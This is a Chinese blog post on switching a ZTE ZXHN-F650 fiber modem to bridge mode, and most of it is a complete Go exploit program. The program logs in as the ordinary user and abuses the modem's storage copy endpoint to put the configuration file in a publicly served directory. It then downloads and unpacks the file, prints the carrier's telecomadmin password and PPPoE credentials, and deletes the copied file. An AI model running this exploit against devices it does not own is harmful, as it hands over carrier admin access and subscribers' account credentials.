ZTE中兴 ZXHN-F650 2.0.0 版本获取超级密码修改桥接

酶和ATP 2022年10月03日 3,250次浏览

家中宽带升级,换了个新光猫,这款光猫的性能还是很强的,但是不知道为什么连续使用3天会准时断网,而且还不会自动重启,所以我把他改成桥接模式,希望能有缓解。

一、 连接上路由器,确保192.168.1.1打开是天翼网关页面

二、 使用脚本获取超级密码(如果只是改桥接这个其实没什么用)和宽带pppoe账号密码

1. 保存下面代码为 xxx.go

package main

import (
	"bufio"
	"bytes"
	"compress/zlib"
	"encoding/binary"
	"encoding/json"
	"flag"
	"fmt"
	"io"
	"io/ioutil"
	"net/http"
	"net/url"
	"os"
	"strings"
)

const (
	Host = "http://192.168.1.1"
	UrlLogin = Host + "/cgi-bin/luci"
	UrlGetToken = Host + "/cgi-bin/luci/"
	UrlGetDevInfo = Host + "/cgi-bin/luci/admin/settings/gwinfo?get=all"
	UrlExploit = Host + "/cgi-bin/luci/admin/storage/copyMove"
	UrlDownCfg = Host + ":8080/db_user_cfg.xml"
	UrlDeleteFile = Host + "/cgi-bin/luci/admin/storage/deleteFiles"
)

var (
	h bool
	s bool
	p string
)

type F650 struct {
	username string
	psd string
	cookie *http.Cookie
	token string
	isLogin bool
	version Version
}

type Version struct {
	DevType string `json:"DevType"`
	ProductCls string `json:"ProductCls"`
	SWVer string `json:"SWVer"`

}

type Bytes []byte

func init() {
	flag.BoolVar(&h, "h", false, "帮助")
	flag.BoolVar(&s, "s", false, "存在该参数时,解密后的配置文件将保存在当前目录")
	flag.StringVar(&p, "p", "", "光猫的管理密码")
}

func main() {
	f650 := F650 {username: "useradmin"}
	if len(os.Args) == 1 {
		scanner := bufio.NewScanner(os.Stdin)
		fmt.Print("用户名: useradmin\n密  码: ")
		if scanner.Scan() {
			f650.psd = scanner.Text()
		}
	} else {
		flag.Parse()
		if h {
			flag.Usage()
			os.Exit(0)
		}
		f650.psd = p
	}
	f650.login()
	if f650.isLogin {
		f650.exploit()
		f650.readPass()
		f650.Clear()
	}
}

func (f *F650) login() {
	client := http.Client{CheckRedirect: func(req *http.Request, via []*http.Request) error {
		return http.ErrUseLastResponse
	}}
	values := url.Values{}
	values.Add("username", f.username)
	values.Add("psd", f.psd)
	resp, err := client.PostForm(UrlLogin, values)
	if err != nil {
		fmt.Println(err)
		return
	}
	if resp.StatusCode == http.StatusFound {
		f.cookie = resp.Cookies()[0]
		f.isLogin = true
	} else {
		fmt.Println("\n登录失败: 密码错误")
		return
	}
	fmt.Println("\n登录成功")

	// 获取token
	req, _ := http.NewRequest(http.MethodGet, UrlGetToken, nil)
	req.AddCookie(f.cookie)
	resp, _ = client.Do(req)
	tokenBody, err := ioutil.ReadAll(resp.Body)
	if err == nil {
		str := string(tokenBody)
		index := strings.Index(str, "token")
		if index >= 0 {
			f.token = str[index + 8 : index + 8 + 32]
		}
	}

	// 获取版本
	req, _ = http.NewRequest(http.MethodGet, UrlGetDevInfo, nil)
	req.AddCookie(f.cookie)
	resp, _ = client.Do(req)
	defer resp.Body.Close()
	verBody,err := ioutil.ReadAll(resp.Body)
	version := Version{}
	if err == nil {
		json.Unmarshal(verBody, &version)
	}
	f.version = version
	fmt.Println("-----------------------------------------")
	fmt.Printf("设备类型:%s\n设备型号:%s\n固件版本:%s\n",
		f.version.DevType, f.version.ProductCls, f.version.SWVer)
	fmt.Println("-----------------------------------------")
}

func (f *F650) exploit() {
	values := url.Values{}
	values.Add("token", f.token)
	values.Add("opstr", "copy|//userconfig/cfg|/home/httpd/public|db_user_cfg.xml")
	values.Add("fileLists", "db_user_cfg.xml/")
	values.Add("_", "0.5610212606529983")
	// 部分设备只能使用post请求,因此这里两种请求都用一次
	// Get
	Url, _ := url.Parse(UrlExploit)
	Url.RawQuery = values.Encode()
	req, _ := http.NewRequest(http.MethodGet, Url.String(), nil)
	req.AddCookie(f.cookie)
	(&http.Client{}).Do(req)
	// Post
	req, _ = http.NewRequest(http.MethodPost, UrlExploit, strings.NewReader(values.Encode()))
	req.AddCookie(f.cookie)
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	(&http.Client{}).Do(req)
}

func (f *F650) readPass() {
	req, _ := http.NewRequest(http.MethodGet, UrlDownCfg, nil)
	resp, err := (&http.Client{}).Do(req)
	if err != nil || resp.StatusCode != http.StatusOK {
		fmt.Println("似乎不支持你的光猫")
		return
	}
	defer resp.Body.Close()
	body, _ := ioutil.ReadAll(resp.Body)
	dataBytes := unPack(body)
	index := bytes.Index(dataBytes, []byte("telecomadmin"))
	if index < 0 {
		fmt.Println("似乎不支持你的光猫")
		return
	}
	index = bytes.Index(dataBytes[index:], []byte("val=\"")) + index + len("val=\"")
	end := bytes.Index(dataBytes[index:], []byte("\"")) + index
	fmt.Printf("账号: %s\n密码: %s\n", "telecomadmin", string(dataBytes[index:end]))

	// save file
	ioutil.WriteFile("db_user_cfg.xml", dataBytes, 0644)

}



	// filename := "./db_user_cfg.xml"
	// file, err := os.OpenFile(filename, os.O_CREATE|os.O_TRUNC, os.ModePerm)
	// if err != nil {
	// 	fmt.Printf("文件: %s创建失败\n%s\n", filename, err)
	// }
	// defer file.Close()
	// file.Write(dataBytes)


func (f *F650) Clear() {
	values := url.Values{}
	values.Add("token", f.token)
	values.Add("path", "//home/httpd/public")
	values.Add("fileLists", "db_user_cfg.xml/")
	values.Add("_", "0.5610212606529983")
	req, _ := http.NewRequest(http.MethodPost, UrlDeleteFile, strings.NewReader(values.Encode()))
	req.AddCookie(f.cookie)
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	(&http.Client{}).Do(req)
	if len(os.Args) == 1 {
		scanner := bufio.NewScanner(os.Stdin)
		scanner.Scan()
	}
}

func unPack(data Bytes) Bytes {
	var nextOff, blockSize  uint32 = 60, 0
	var out bytes.Buffer
	buf := make(Bytes, 4)
	reader := bytes.NewReader(data)
	for {
		if nextOff <= 0 {
			break
		}
		// nextOff + 4是为了跳过记录解压后的数据大小的字节
		reader.Seek(int64(nextOff + 4), io.SeekStart)
		// 压缩数据块大小
		reader.Read(buf)
		blockSize = buf.toUint32()
		// 下一块位置
		reader.Read(buf)
		nextOff = buf.toUint32()
		//读取压缩块的数据
		blockBuf := make(Bytes, blockSize)
		reader.Read(blockBuf)
		// 解压缩
		bytesReader := bytes.NewBuffer(blockBuf)
		r, _ := zlib.NewReader(bytesReader)
		io.Copy(&out, r)
	}

	return out.Bytes()
}

func (n *Bytes) toUint32() (res uint32) {
	byteBuf := bytes.NewBuffer(*n)
	binary.Read(byteBuf, binary.BigEndian, &res)
	return
}

修改自: https://github.com/voidxxl7/ZXHN-F650-PassReader/blob/master/main.go ,原版无法保存文件获取pppoe密码。

2. 运行

go run "/Users/XXX/zx.go" -p XXX(useradmin的普通密码)

3. 获取密码

打开生成的 db_user_cfg.xml 文件
搜索 UserName,Password,即可看到你的密码

三、 修改为桥接

打开 http://192.168.1.1:8080/bridge_route.gch 点击修改桥接

路由器 pppoe 拨号即可